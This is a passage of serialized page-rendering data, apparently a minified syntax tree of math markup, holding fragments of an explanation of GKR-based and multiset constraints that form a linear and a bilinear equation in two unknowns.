3546},{"className":123545,"style":2746},[246],[123547],{"type":31,"value":7025},{"type":25,"tag":216,"props":123549,"children":123551},{"className":123550},[246,31],[123552],{"type":25,"tag":216,"props":123553,"children":123555},{"className":123554},[246],[123556],{"type":31,"value":122651},{"type":25,"tag":216,"props":123558,"children":123560},{"className":123559,"style":2746},[246],[123561],{"type":31,"value":7025},{"type":25,"tag":216,"props":123563,"children":123565},{"className":123564},[246],[123566,123575],{"type":25,"tag":216,"props":123567,"children":123569},{"className":123568},[246,31],[123570],{"type":25,"tag":216,"props":123571,"children":123573},{"className":123572},[246],[123574],{"type":31,"value":122670},{"type":25,"tag":216,"props":123576,"children":123578},{"className":123577},[2153],[123579],{"type":25,"tag":216,"props":123580,"children":123582},{"className":123581},[298,299],[123583,123612],{"type":25,"tag":216,"props":123584,"children":123586},{"className":123585},[304],[123587,123607],{"type":25,"tag":216,"props":123588,"children":123590},{"className":123589,"style":2264},[309],[123591],{"type":25,"tag":216,"props":123592,"children":123593},{"style":118108},[123594,123598],{"type":25,"tag":216,"props":123595,"children":123597},{"className":123596,"style":2175},[319],[],{"type":25,"tag":216,"props":123599,"children":123601},{"className":123600},[2180,2181,2182,2183],[123602],{"type":25,"tag":216,"props":123603,"children":123605},{"className":123604,"style":118201},[246,2145,2183],[123606],{"type":31,"value":12603},{"type":25,"tag":216,"props":123608,"children":123610},{"className":123609},[408],[123611],{"type":31,"value":411},{"type":25,"tag":216,"props":123613,"children":123615},{"className":123614},[304],[123616],{"type":25,"tag":216,"props":123617,"children":123619},{"className":123618,"style":122887},[309],[123620],{"type":25,"tag":216,"props":123621,"children":123622},{},[],{"type":25,"tag":216,"props":123624,"children":123626},{"className":123625,"style":335},[257],[],{"type":25,"tag":216,"props":123628,"children":123630},{"className":123629},[340],[123631],{"type":31,"value":343},{"type":25,"tag":216,"props":123633,"children":123635},{"className":123634,"style":335},[257],[],{"type":25,"tag":216,"props":123637,"children":123639},{"className":123638},[235],[123640,123644,123649,123658],{"type":25,"tag":216,"props":123641,"children":123643},{"className":123642,"style":5507},[240],[],{"type":25,"tag":216,"props":123645,"children":123647},{"className":123646},[287],[123648],{"type":31,"value":1844},{"type":25,"tag":216,"props":123650,"children":123652},{"className":123651},[246,31],[123653],{"type":25,"tag":216,"props":123654,"children":123656},{"className":123655},[246],[123657],{"type":31,"value":122927},{"type":25,"tag":216,"props":123659,"children":123661},{"className":123660},[427],[123662],{"type":31,"value":1882},{"type":25,"tag":38,"props":123664,"children":123665},{},[123666,123668,123837,123838,124007],{"type":31,"value":123667},"If we vary ",{"type":25,"tag":82,"props":123669,"children":123671},{"className":123670},[212,4696],[123672],{"type":25,"tag":216,"props":123673,"children":123675},{"className":123674},[224],[123676],{"type":25,"tag":216,"props":123677,"children":123679},{"className":123678,"ariaHidden":230},[229],[123680,123758],{"type":25,"tag":216,"props":123681,"children":123683},{"className":123682},[235],[123684,123688,123745,123749,123754],{"type":25,"tag":216,"props":123685,"children":123687},{"className":123686,"style":4821},[240],[],{"type":25,"tag":216,"props":123689,"children":123691},{"className":123690},[246],[123692,123697],{"type":25,"tag":216,"props":123693,"children":123695},{"className":123694},[246,2145],[123696],{"type":31,"value":2535},{"type":25,"tag":216,"props":123698,"children":123700},{"className":123699},[2153],[123701],{"type":25,"tag":216,"props":123702,"children":123704},{"className":123703},[298,299],[123705,123734],{"type":25,"tag":216,"props":123706,"children":123708},{"className":123707},[304],[123709,123729],{"type":25,"tag":216,"props":123710,"children":123712},{"className":123711,"style":97063},[309],[123713],{"type":25,"tag":216,"props":123714,"children":123715},{"style":2268},[123716,123720],{"type":25,"tag":216,"props":123717,"children":123719},{"className":123718,"style":2175},[319],[],{"type":25,"tag":216,"props":123721,"children":123723},{"className":123722},[2180,2181,2182,2183],[123724],{"type":25,"tag":216,"props":123725,"children":123727},{"className":123726},[246,2183],[123728],{"type":31,"value":1876},{"type":25,"tag":216,"props":123730,"children":123732},{"className":123731},[408],[123733],{"type":31,"value":411},{"type":25,"tag":216,"props":123735,"children":123737},{"className":123736},[304],[123738],{"type":25,"tag":216,"props":123739,"children":123741},{"className":123740,"style":2203},[309],[123742],{"type":25,"tag":216,"props":123743,"children":123744},{},[],{"type":25,"tag":216,"props":123746,"children":123748},{"className":123747,"style":258},[257],[],{"type":25,"tag":216,"props":123750,"children":123752},{"className":123751},[263],[123753],{"type":31,"value":266},{"type":25,"tag":216,"props":123755,"children":123757},{"className":123756,"style":258},[257],[],{"type":25,"tag":216,"props":123759,"children":123761},{"className":123760},[235],[123762,123766,123807,123812,123817,123822,123827,123832],{"type":25,"tag":216,"props":123763,"children":123765},{"className":123764,"style":96954},[240],[],{"type":25,"tag":216,"props":123767,"children":123769},{"className":123768},[246],[123770,123779,123784,123793,123798],{"type":25,"tag":216,"props":123771,"children":123773},{"className":123772},[246,31],[123774],{"type":25,"tag":216,"props":123775,"children":123777},{"className":123776},[246],[123778],{"type":31,"value":97823},{"type":25,"tag":216,"props":123780,"children":123782},{"className":123781,"style":2746},[246],[123783],{"type":31,"value":7025},{"type":25,"tag":216,"props":123785,"children":123787},{"className":123786},[246,31],[123788],{"type":25,"tag":216,"props":123789,"children":123791},{"className":123790},[246],[123792],{"type":31,"value":122651},{"type":25,"tag":216,"props":123794,"children":123796},{"className":123795,"style":2746},[246],[123797],{"type":31,"value":7025},{"type":25,"tag":216,"props":123799,"children":123801},{"className":123800},[246,31],[123802],{"type":25,"tag":216,"props":123803,"children":123805},{"className":123804},[246],[123806],{"type":31,"value":122670},{"type":25,"tag":216,"props":123808,"children":123810},{"className":123809},[287],[123811],{"type":31,"value":7695},{"type":25,"tag":216,"props":123813,"children":123815},{"className":123814},[246],[123816],{"type":31,"value":1876},{"type":25,"tag":216,"props":123818,"children":123820},{"className":123819},[427],[123821],{"type":31,"value":19362},{"type":25,"tag":216,"props":123823,"children":123825},{"className":123824},[287],[123826],{"type":31,"value":7695},{"type":25,"tag":216,"props":123828,"children":123830},{"className":123829},[246],[123831],{"type":31,"value":1876},{"type":25,"tag":216,"props":123833,"children":123835},{"className":123834},[427],[123836],{"type":31,"value":19362},{"type":31,"value":1301},{"type":25,"tag":82,"props":123839,"children":123841},{"className":123840},[212,4696],[123842],{"type":25,"tag":216,"props":123843,"children":123845},{"className":123844},[224],[123846],{"type":25,"tag":216,"props":123847,"children":123849},{"className":123848,"ariaHidden":230},[229],[123850,123928],{"type":25,"tag":216,"props":123851,"children":123853},{"className":123852},[235],[123854,123858,123915,123919,123924],{"type":25,"tag":216,"props":123855,"children":123857},{"className":123856,"style":4821},[240],[],{"type":25,"tag":216,"props":123859,"children":123861},{"className":123860},[246],[123862,123867],{"type":25,"tag":216,"props":123863,"children":123865},{"className":123864},[246,2145],[123866],{"type":31,"value":2535},{"type":25,"tag":216,"props":123868,"children":123870},{"className":123869},[2153],[123871],{"type":25,"tag":216,"props":123872,"children":123874},{"className":123873},[298,299],[123875,123904],{"type":25,"tag":216,"props":123876,"children":123878},{"className":123877},[304],[123879,123899],{"type":25,"tag":216,"props":123880,"children":123882},{"className":123881,"style":97063},[309],[123883],{"type":25,"tag":216,"props":123884,"children":123885},{"style":2268},[123886,123890],{"type":25,"tag":216,"props":123887,"children":123889},{"className":123888,"style":2175},[319],[],{"type":25,"tag":216,"props":123891,"children":123893},{"className":123892},[2180,2181,2182,2183],[123894],{"type":25,"tag":216,"props":123895,"children":123897},{"className":123896},[246,2183],[123898],{"type":31,"value":184},{"type":25,"tag":216,"props":123900,"children":123902},{"className":123901},[408],[123903],{"type":31,"value":411},{"type":25,"tag":216,"props":123905,"children":123907},{"className":123906},[304],[123908],{"type":25,"tag":216,"props":123909,"children":123911},{"className":123910,"style":2203},[309],[123912],{"type":25,"tag":216,"props":123913,"children":123914},{},[],{"type":25,"tag":216,"props":123916,"children":123918},{"className":123917,"style":258},[257],[],{"type":25,"tag":216,"props":123920,"children":123922},{"className":123921},[263],[123923],{"type":31,"value":266},{"type":25,"tag":216,"props":123925,"children":123927},{"className":123926,"style":258},[257],[],{"type":25,"tag":216,"props":123929,"children":123931},{"className":123930},[235],[123932,123936,123977,123982,123987,123992,123997,124002],{"type":25,"tag":216,"props":123933,"children":123935},{"className":123934,"style":96954},[240],[],{"type":25,"tag":216,"props":123937,"children":123939},{"className":123938},[246],[123940,123949,123954,123963,123968],{"type":25,"tag":216,"props":123941,"children":123943},{"className":123942},[246,31],[123944],{"type":25,"tag":216,"props":123945,"children":123947},{"className":123946},[246],[123948],{"type":31,"value":97823},{"type":25,"tag":216,"props":123950,"children":123952},{"className":123951,"style":2746},[246],[123953],{"type":31,"value":7025},{"type":25,"tag":216,"props":123955,"children":123957},{"className":123956},[246,31],[123958],{"type":25,"tag":216,"props":123959,"children":123961},{"className":123960},[246],[123962],{"type":31,"value":122651},{"type":25,"tag":216,"props":123964,"children":123966},{"className":123965,"style":2746},[246],[123967],{"type":31,"value":7025},{"type":25,"tag":216,"props":123969,"children":123971},{"className":123970},[246,31],[123972],{"type":25,"tag":216,"props":123973,"children":123975},{"className":123974},[246],[123976],{"type":31,"value":122670},{"type":25,"tag":216,"props":123978,"children":123980},{"className":123979},[287],[123981],{"type":31,"value":7695},{"type":25,"tag":216,"props":123983,"children":123985},{"className":123984},[246],[123986],{"type":31,"value":1876},{"type":25,"tag":216,"props":123988,"children":123990},{"className":123989},[427],[123991],{"type":31,"value":19362},{"type":25,"tag":216,"props":123993,"children":123995},{"className":123994},[287],[123996],{"type":31,"value":7695},{"type":25,"tag":216,"props":123998,"children":124000},{"className":123999},[246],[124001],{"type":31,"value":184},{"type":25,"tag":216,"props":124003,"children":124005},{"className":124004},[427],[124006],{"type":31,"value":19362},{"type":31,"value":124008}," we get the following constraint:",{"type":25,"tag":38,"props":124010,"children":124011},{},[124012],{"type":25,"tag":82,"props":124013,"children":124015},{"className":124014},[212,4696],[124016],{"type":25,"tag":216,"props":124017,"children":124019},{"className":124018},[224],[124020],{"type":25,"tag":216,"props":124021,"children":124023},{"className":124022,"ariaHidden":230},[229],[124024,124103,124181,124222],{"type":25,"tag":216,"props":124025,"children":124027},{"className":124026},[235],[124028,124033,124090,124094,124099],{"type":25,"tag":216,"props":124029,"children":124032},{"className":124030,"style":124031},[240],"height:0.5945em;vertical-align:-0.15em;",[],{"type":25,"tag":216,"props":124034,"children":124036},{"className":124035},[246],[124037,124042],{"type":25,"tag":216,"props":124038,"children":124040},{"className":124039},[246,2145],[124041],{"type":31,"value":2535},{"type":25,"tag":216,"props":124043,"children":124045},{"className":124044},[2153],[124046],{"type":25,"tag":216,"props":124047,"children":124049},{"className":124048},[298,299],[124050,124079],{"type":25,"tag":216,"props":124051,"children":124053},{"className":124052},[304],[124054,124074],{"type":25,"tag":216,"props":124055,"children":124057},{"className":124056,"style":97063},[309],[124058],{"type":25,"tag":216,"props":124059,"children":124060},{"style":2268},[124061,124065],{"type":25,"tag":216,"props":124062,"children":124064},{"className":124063,"style":2175},[319],[],{"type":25,"tag":216,"props":124066,"children":124068},{"className":124067},[2180,2181,2182,2183],[124069],{"type":25,"tag":216,"props":124070,"children":124072},{"className":124071},[246,2183],[124073],{"type":31,"value":1876},{"type":25,"tag":216,"props":124075,"children":124077},{"className":124076},[408],[124078],{"type":31,"value":411},{"type":25,"tag":216,"props":124080,"children":124082},{"className":124081},[304],[124083],{"type":25,"tag":216,"props":124084,"children":124086},{"className":124085,"style":2203},[309],[124087],{"type":25,"tag":216,"props":124088,"children":124089},{},[],{"type":25,"tag":216,"props":124091,"children":124093},{"className":124092,"style":335},[257],[],{"type":25,"tag":216,"props":124095,"children":124097},{"className":124096},[340],[124098],{"type":31,"value":343},{"type":25,"tag":216,"props":124100,"children":124102},{"className":124101,"style":335},[257],[],{"type":25,"tag":216,"props":124104,"children":124106},{"className":124105},[235],[124107,124111,124168,124172,124177],{"type":25,"tag":216,"props":124108,"children":124110},{"className":124109,"style":124031},[240],[],{"type":25,"tag":216,"props":124112,"children":124114},{"className":124113},[246],[124115,124120],{"type":25,"tag":216,"props":124116,"children":124118},{"className":124117},[246,2145],[124119],{"type":31,"value":2535},{"type":25,"tag":216,"props":124121,"children":124123},{"className":124122},[2153],[124124],{"type":25,"tag":216,"props":124125,"children":124127},{"className":124126},[298,299],[124128,124157],{"type":25,"tag":216,"props":124129,"children":124131},{"className":124130},[304],[124132,124152],{"type":25,"tag":216,"props":124133,"children":124135},{"className":124134,"style":97063},[309],[124136],{"type":25,"tag":216,"props":124137,"children":124138},{"style":2268},[124139,124143],{"type":25,"tag":216,"props":124140,"children":124142},{"className":124141,"style":2175},[319],[],{"type":25,"tag":216,"props":124144,"children":124146},{"className":124145},[2180,2181,2182,2183],[124147],{"type":25,"tag":216,"props":124148,"children":124150},{"className":124149},[246,2183],[124151],{"type":31,"value":184},{"type":25,"tag":216,"props":124153,"children":124155},{"className":124154},[408],[124156],{"type":31,"value":411},{"type":25,"tag":216,"props":124158,"children":124160},{"className":124159},[304],[124161],{"type":25,"tag":216,"props":124162,"children":124164},{"className":124163,"style":2203},[309],[124165],{"type":25,"tag":216,"props":124166,"children":124167},{},[],{"type":25,"tag":216,"props":124169,"children":124171},{"className":124170,"style":335},[257],[],{"type":25,"tag":216,"props":124173,"children":124175},{"className":124174},[340],[124176],{"type":31,"value":343},{"type":25,"tag":216,"props":124178,"children":124180},{"className":124179,"style":335},[257],[],{"type":25,"tag":216,"props":124182,"children":124184},{"className":124183},[235],[124185,124189,124194,124204,124209,124213,124218],{"type":25,"tag":216,"props":124186,"children":124188},{"className":124187,"style":5507},[240],[],{"type":25,"tag":216,"props":124190,"children":124192},{"className":124191},[287],[124193],{"type":31,"value":1844},{"type":25,"tag":216,"props":124195,"children":124197},{"className":124196},[246,31],[124198],{"type":25,"tag":216,"props":124199,"children":124201},{"className":124200},[246],[124202],{"type":31,"value":124203},"rest of product",{"type":25,"tag":216,"props":124205,"children":124207},{"className":124206},[427],[124208],{"type":31,"value":1882},{"type":25,"tag":216,"props":124210,"children":124212},{"className":124211,"style":258},[257],[],{"type":25,"tag":216,"props":124214,"children":124216},{"className":124215},[263],[124217],{"type":31,"value":266},{"type":25,"tag":216,"props":124219,"children":124221},{"className":124220,"style":258},[257],[],{"type":25,"tag":216,"props":124223,"children":124225},{"className":124224},[235],[124226,124230],{"type":25,"tag":216,"props":124227,"children":124229},{"className":124228,"style":118998},[240],[],{"type":25,"tag":216,"props":124231,"children":124233},{"className":124232},[246,31],[124234],{"type":25,"tag":216,"props":124235,"children":124237},{"className":124236},[246],[124238],{"type":31,"value":119009},{"type":25,"tag":38,"props":124240,"children":124241},{},[124242,124244,124397],{"type":31,"value":124243},"This is bilinear in ",{"type":25,"tag":82,"props":124245,"children":124247},{"className":124246},[212,4696],[124248],{"type":25,"tag":216,"props":124249,"children":124251},{"className":124250},[224],[124252],{"type":25,"tag":216,"props":124253,"children":124255},{"className":124254,"ariaHidden":230},[229],[124256],{"type":25,"tag":216,"props":124257,"children":124259},{"className":124258},[235],[124260,124264,124269,124326,124331,124335,124392],{"type":25,"tag":216,"props":124261,"children":124263},{"className":124262,"style":5507},[240],[],{"type":25,"tag":216,"props":124265,"children":124267},{"className":124266},[287],[124268],{"type":31,"value":1844},{"type":25,"tag":216,"props":124270,"children":124272},{"className":124271},[246],[124273,124278],{"type":25,"tag":216,"props":124274,"children":124276},{"className":124275},[246,2145],[124277],{"type":31,"value":2535},{"type":25,"tag":216,"props":124279,"children":124281},{"className":124280},[2153],[124282],{"type":25,"tag":216,"props":124283,"children":124285},{"className":124284},[298,299],[124286,124315],{"type":25,"tag":216,"props":124287,"children":124289},{"className":124288},[304],[124290,124310],{"type":25,"tag":216,"props":124291,"children":124293},{"className":124292,"style":97063},[309],[124294],{"type":25,"tag":216,"props":124295,"children":124296},{"style":2268},[124297,124301],{"type":25,"tag":216,"props":124298,"children":124300},{"className":124299,"style":2175},[319],[],{"type":25,"tag":216,"props":124302,"children":124304},{"className":124303},[2180,2181,2182,2183],[124305],{"type":25,"tag":216,"props":124306,"children":124308},{"className":124307},[246,2183],[124309],{"type":31,"value":1876},{"type":25,"tag":216,"props":124311,"children":124313},{"className":124312},[408],[124314],{"type":31,"value":411},{"type":25,"tag":216,"props":124316,"children":124318},{"className":124317},[304],[124319],{"type":25,"tag":216,"props":124320,"children":124322},{"className":124321,"style":2203},[309],[124323],{"type":25,"tag":216,"props":124324,"children":124325},{},[],{"type":25,"tag":216,"props":124327,"children":124329},{"className":124328},[1858],[124330],{"type":31,"value":1861},{"type":25,"tag":216,"props":124332,"children":124334},{"className":124333,"style":1865},[257],[],{"type":25,"tag":216,"props":124336,"children":124338},{"className":124337},[246],[124339,124344],{"type":25,"tag":216,"props":124340,"children":124342},{"className":124341},[246,2145],[124343],{"type":31,"value":2535},{"type":25,"tag":216,"props":124345,"children":124347},{"className":124346},[2153],[124348],{"type":25,"tag":216,"props":124349,"children":124351},{"className":124350},[298,299],[124352,124381],{"type":25,"tag":216,"props":124353,"children":124355},{"className":124354},[304],[124356,124376],{"type":25,"tag":216,"props":124357,"children":124359},{"className":124358,"style":97063},[309],[124360],{"type":25,"tag":216,"props":124361,"children":124362},{"style":2268},[124363,124367],{"type":25,"tag":216,"props":124364,"children":124366},{"className":124365,"style":2175},[319],[],{"type":25,"tag":216,"props":124368,"children":124370},{"className":124369},[2180,2181,2182,2183],[124371],{"type":25,"tag":216,"props":124372,"children":124374},{"className":124373},[246,2183],[124375],{"type":31,"value":184},{"type":25,"tag":216,"props":124377,"children":124379},{"className":124378},[408],[124380],{"type":31,"value":411},{"type":25,"tag":216,"props":124382,"children":124384},{"className":124383},[304],[124385],{"type":25,"tag":216,"props":124386,"children":124388},{"className":124387,"style":2203},[309],[124389],{"type":25,"tag":216,"props":124390,"children":124391},{},[],{"type":25,"tag":216,"props":124393,"children":124395},{"className":124394},[427],[124396],{"type":31,"value":1882},{"type":31,"value":179},{"type":25,"tag":38,"props":124399,"children":124400},{},[124401,124403,124556],{"type":31,"value":124402},"We have two unknowns ",{"type":25,"tag":82,"props":124404,"children":124406},{"className":124405},[212,4696],[124407],{"type":25,"tag":216,"props":124408,"children":124410},{"className":124409},[224],[124411],{"type":25,"tag":216,"props":124412,"children":124414},{"className":124413,"ariaHidden":230},[229],[124415],{"type":25,"tag":216,"props":124416,"children":124418},{"className":124417},[235],[124419,124423,124428,124485,124490,124494,124551],{"type":25,"tag":216,"props":124420,"children":124422},{"className":124421,"style":5507},[240],[],{"type":25,"tag":216,"props":124424,"children":124426},{"className":124425},[287],[124427],{"type":31,"value":1844},{"type":25,"tag":216,"props":124429,"children":124431},{"className":124430},[246],[124432,124437],{"type":25,"tag":216,"props":124433,"children":124435},{"className":124434},[246,2145],[124436],{"type":31,"value":2535},{"type":25,"tag":216,"props":124438,"children":124440},{"className":124439},[2153],[124441],{"type":25,"tag":216,"props":124442,"children":124444},{"className":124443},[298,299],[124445,124474],{"type":25,"tag":216,"props":124446,"children":124448},{"className":124447},[304],[124449,124469],{"type":25,"tag":216,"props":124450,"children":124452},{"className":124451,"style":97063},[309],[124453],{"type":25,"tag":216,"props":124454,"children":124455},{"style":2268},[124456,124460],{"type":25,"tag":216,"props":124457,"children":124459},{"className":124458,"style":2175},[319],[],{"type":25,"tag":216,"props":124461,"children":124463},{"className":124462},[2180,2181,2182,2183],[124464],{"type":25,"tag":216,"props":124465,"children":124467},{"className":124466},[246,2183],[124468],{"type":31,"value":1876},{"type":25,"tag":216,"props":124470,"children":124472},{"className":124471},[408],[124473],{"type":31,"value":411},{"type":25,"tag":216,"props":124475,"children":124477},{"className":124476},[304],[124478],{"type":25,"tag":216,"props":124479,"children":124481},{"className":124480,"style":2203},[309],[124482],{"type":25,"tag":216,"props":124483,"children":124484},{},[],{"type":25,"tag":216,"props":124486,"children":124488},{"className":124487},[1858],[124489],{"type":31,"value":1861},{"type":25,"tag":216,"props":124491,"children":124493},{"className":124492,"style":1865},[257],[],{"type":25,"tag":216,"props":124495,"children":124497},{"className":124496},[246],[124498,124503],{"type":25,"tag":216,"props":124499,"children":124501},{"className":124500},[246,2145],[124502],{"type":31,"value":2535},{"type":25,"tag":216,"props":124504,"children":124506},{"className":124505},[2153],[124507],{"type":25,"tag":216,"props":124508,"children":124510},{"className":124509},[298,299],[124511,124540],{"type":25,"tag":216,"props":124512,"children":124514},{"className":124513},[304],[124515,124535],{"type":25,"tag":216,"props":124516,"children":124518},{"className":124517,"style":97063},[309],[124519],{"type":25,"tag":216,"props":124520,"children":124521},{"style":2268},[124522,124526],{"type":25,"tag":216,"props":124523,"children":124525},{"className":124524,"style":2175},[319],[],{"type":25,"tag":216,"props":124527,"children":124529},{"className":124528},[2180,2181,2182,2183],[124530],{"type":25,"tag":216,"props":124531,"children":124533},{"className":124532},[246,2183],[124534],{"type":31,"value":184},{"type":25,"tag":216,"props":124536,"children":124538},{"className":124537},[408],[124539],{"type":31,"value":411},{"type":25,"tag":216,"props":124541,"children":124543},{"className":124542},[304],[124544],{"type":25,"tag":216,"props":124545,"children":124547},{"className":124546,"style":2203},[309],[124548],{"type":25,"tag":216,"props":124549,"children":124550},{},[],{"type":25,"tag":216,"props":124552,"children":124554},{"className":124553},[427],[124555],{"type":31,"value":1882},{"type":31,"value":124557}," and two equations, one linear and one bilinear:",{"type":25,"tag":6705,"props":124559,"children":124560},{},[124561,124888],{"type":25,"tag":2037,"props":124562,"children":124563},{},[124564,124566],{"type":31,"value":124565},"Linear (from GKR): ",{"type":25,"tag":82,"props":124567,"children":124569},{"className":124568},[212,4696],[124570],{"type":25,"tag":216,"props":124571,"children":124573},{"className":124572},[224],[124574],{"type":25,"tag":216,"props":124575,"children":124577},{"className":124576,"ariaHidden":230},[229],[124578,124714,124849,124875],{"type":25,"tag":216,"props":124579,"children":124581},{"className":124580},[235],[124582,124587,124644,124701,124705,124710],{"type":25,"tag":216,"props":124583,"children":124586},{"className":124584,"style":124585},[240],"height:0.7333em;vertical-align:-0.15em;",[],{"type":25,"tag":216,"props":124588,"children":124590},{"className":124589},[246],[124591,124596],{"type":25,"tag":216,"props":124592,"children":124594},{"className":124593},[246,2145],[124595],{"type":31,"value":162},{"type":25,"tag":216,"props":124597,"children":124599},{"className":124598},[2153],[124600],{"type":25,"tag":216,"props":124601,"children":124603},{"className":124602},[298,299],[124604,124633],{"type":25,"tag":216,"props":124605,"children":124607},{"className":124606},[304],[124608,124628],{"type":25,"tag":216,"props":124609,"children":124611},{"className":124610,"style":97063},[309],[124612],{"type":25,"tag":216,"props":124613,"children":124614},{"style":2268},[124615,124619],{"type":25,"tag":216,"props":124616,"children":124618},{"className":124617,"style":2175},[319],[],{"type":25,"tag":216,"props":124620,"children":124622},{"className":124621},[2180,2181,2182,2183],[124623],{"type":25,"tag":216,"props":124624,"children":124626},{"className":124625},[246,2183],[124627],{"type":31,"value":1876},{"type":25,"tag":216,"props":124629,"children":124631},{"className":124630},[408],[124632],{"type":31,"value":411},{"type":25,"tag":216,"props":124634,"children":124636},{"className":124635},[304],[124637],{"type":25,"tag":216,"props":124638,"children":124640},{"className":124639,"style":2203},[309],[124641],{"type":25,"tag":216,"props":124642,"children":124643},{},[],{"type":25,"tag":216,"props":124645,"children":124647},{"className":124646},[246],[124648,124653],{"type":25,"tag":216,"props":124649,"children":124651},{"className":124650},[246,2145],[124652],{"type":31,"value":2535},{"type":25,"tag":216,"props":124654,"children":124656},{"className":124655},[2153],[124657],{"type":25,"tag":216,"props":124658,"children":124660},{"className":124659},[298,299],[124661,124690],{"type":25,"tag":216,"props":124662,"children":124664},{"className":124663},[304],[124665,124685],{"type":25,"tag":216,"props":124666,"children":124668},{"className":124667,"style":97063},[309],[124669],{"type":25,"tag":216,"props":124670,"children":124671},{"style":2268},[124672,124676],{"type":25,"tag":216,"props":124673,"children":124675},{"className":124674,"style":2175},[319],[],{"type":25,"tag":216,"props":124677,"children":124679},{"className":124678},[2180,2181,2182,2183],[124680],{"type":25,"tag":216,"props":124681,"children":124683},{"className":124682},[246,2183],[124684],{"type":31,"value":1876},{"type":25,"tag":216,"props":124686,"children":124688},{"className":124687},[408],[124689],{"type":31,"value":411},{"type":25,"tag":216,"props":124691,"children":124693},{"className":124692},[304],[124694],{"type":25,"tag":216,"props":124695,"children":124697},{"className":124696,"style":2203},[309],[124698],{"type":25,"tag":216,"props":124699,"children":124700},{},[],{"type":25,"tag":216,"props":124702,"children":124704},{"className":124703,"style":335},[257],[],{"type":25,"tag":216,"props":124706,"children":124708},{"className":124707},[340],[124709],{"type":31,"value":3533},{"type":25,"tag":216,"props":124711,"children":124713},{"className":124712,"style":335},[257],[],{"type":25,"tag":216,"props":124715,"children":124717},{"className":124716},[235],[124718,124722,124779,124836,124840,124845],{"type":25,"tag":216,"props":124719,"children":124721},{"className":124720,"style":124585},[240],[],{"type":25,"tag":216,"props":124723,"children":124725},{"className":124724},[246],[124726,124731],{"type":25,"tag":216,"props":124727,"children":124729},{"className":124728},[246,2145],[124730],{"type":31,"value":162},{"type":25,"tag":216,"props":124732,"children":124734},{"className":124733},[2153],[124735],{"type":25,"tag":216,"props":124736,"children":124738},{"className":124737},[298,299],[124739,124768],{"type":25,"tag":216,"props":124740,"children":124742},{"className":124741},[304],[124743,124763],{"type":25,"tag":216,"props":124744,"children":124746},{"className":124745,"style":97063},[309],[124747],{"type":25,"tag":216,"props":124748,"children":124749},{"style":2268},[124750,124754],{"type":25,"tag":216,"props":124751,"children":124753},{"className":124752,"style":2175},[319],[],{"type":25,"tag":216,"props":124755,"children":124757},{"className":124756},[2180,2181,2182,2183],[124758],{"type":25,"tag":216,"props":124759,"children":124761},{"className":124760},[246,2183],[124762],{"type":31,"value":184},{"type":25,"tag":216,"props":124764,"children":124766},{"className":124765},[408],[124767],{"type":31,"value":411},{"type":25,"tag":216,"props":124769,"children":124771},{"className":124770},[304],[124772],{"type":25,"tag":216,"props":124773,"children":124775},{"className":124774,"style":2203},[309],[124776],{"type":25,"tag":216,"props":124777,"children":124778},{},[],{"type":25,"tag":216,"props":124780,"children":124782},{"className":124781},[246],[124783,124788],{"type":25,"tag":216,"props":124784,"children":124786},{"className":124785},[246,2145],[124787],{"type":31,"value":2535},{"type":25,"tag":216,"props":124789,"children":124791},{"className":124790},[2153],[124792],{"type":25,"tag":216,"props":124793,"children":124795},{"className":124794},[298,299],[124796,124825],{"type":25,"tag":216,"props":124797,"children":124799},{"className":124798},[304],[124800,124820],{"type":25,"tag":216,"props":124801,"children":124803},{"className":124802,"style":97063},[309],[124804],{"type":25,"tag":216,"props":124805,"children":124806},{"style":2268},[124807,124811],{"type":25,"tag":216,"props":124808,"children":124810},{"className":124809,"style":2175},[319],[],{"type":25,"tag":216,"props":124812,"children":124814},{"className":124813},[2180,2181,2182,2183],[124815],{"type":25,"tag":216,"props":124816,"children":124818},{"className":124817},[246,2183],[124819],{"type":31,"value":184},{"type":25,"tag":216,"props":124821,"children":124823},{"className":124822},[408],[124824],{"type":31,"value":411},{"type":25,"tag":216,"props":124826,"children":124828},{"className":124827},[304],[124829],{"type":25,"tag":216,"props":124830,"children":124832},{"className":124831,"style":2203},[309],[124833],{"type":25,"tag":216,"props":124834,"children":124835},{},[],{"type":25,"tag":216,"props":124837,"children":124839},{"className":124838,"style":335},[257],[],{"type":25,"tag":216,"props":124841,"children":124843},{"className":124842},[340],[124844],{"type":31,"value":3533},{"type":25,"tag":216,"props":124846,"children":124848},{"className":124847,"style":335},[257],[],{"type":25,"tag":216,"props":124850,"children":124852},{"className":124851},[235],[124853,124857,124862,124866,124871],{"type":25,"tag":216,"props":124854,"children":124856},{"className":124855,"style":6309},[240],[],{"type":25,"tag":216,"props":124858,"children":124860},{"className":124859},[246,2145],[124861],{"type":31,"value":2248},{"type":25,"tag":216,"props":124863,"children":124865},{"className":124864,"style":258},[257],[],{"type":25,"tag":216,"props":124867,"children":124869},{"className":124868},[263],[124870],{"type":31,"value":266},{"type":25,"tag":216,"props":124872,"children":124874},{"className":124873,"style":258},[257],[],{"type":25,"tag":216,"props":124876,"children":124878},{"className":124877},[235],[124879,124883],{"type":25,"tag":216,"props":124880,"children":124882},{"className":124881,"style":5287},[240],[],{"type":25,"tag":216,"props":124884,"children":124886},{"className":124885},[246],[124887],{"type":31,"value":1876},{"type":25,"tag":2037,"props":124889,"children":124890},{},[124891,124893],{"type":31,"value":124892},"Bilinear (from multiset): ",{"type":25,"tag":82,"props":124894,"children":124896},{"className":124895},[212,4696],[124897],{"type":25,"tag":216,"props":124898,"children":124900},{"className":124899},[224],[124901],{"type":25,"tag":216,"props":124902,"children":124904},{"className":124903,"ariaHidden":230},[229],[124905,124931,125009,125087,125113],{"type":25,"tag":216,"props":124906,"children":124908},{"className":124907},[235],[124909,124913,124918,124922,124927],{"type":25,"tag":216,"props":124910,"children":124912},{"className":124911,"style":96927},[240],[],{"type":25,"tag":216,"props":124914,"children":124916},{"className":124915,"style":98431},[246,2145],[124917],{"type":31,"value":92649},{"type":25,"tag":216,"props":124919,"children":124921},{"className":124920,"style":335},[257],[],{"type":25,"tag":216,"props":124923,"children":124925},{"className":124924},[340],[124926],{"type":31,"value":343},{"type":25,"tag":216,"props":124928,"children":124930},{"className":124929,"style":335},[257],[],{"type":25,"tag":216,"props":124932,"children":124934},{"className":124933},[235],[124935,124939,124996,125000,125005],{"type":25,"tag":216,"props":124936,"children":124938},{"className":124937,"style":124031},[240],[],{"type":25,"tag":216,"props":124940,"children":124942},{"className":124941},[246],[124943,124948],{"type":25,"tag":216,"props":124944,"children":124946},{"className":124945},[246,2145],[124947],{"type":31,"value":2535},{"type":25,"tag":216,"props":124949,"children":124951},{"className":124950},[2153],[124952],{"type":25,"tag":216,"props":124953,"children":124955},{"className":124954},[298,299],[124956,124985],{"type":25,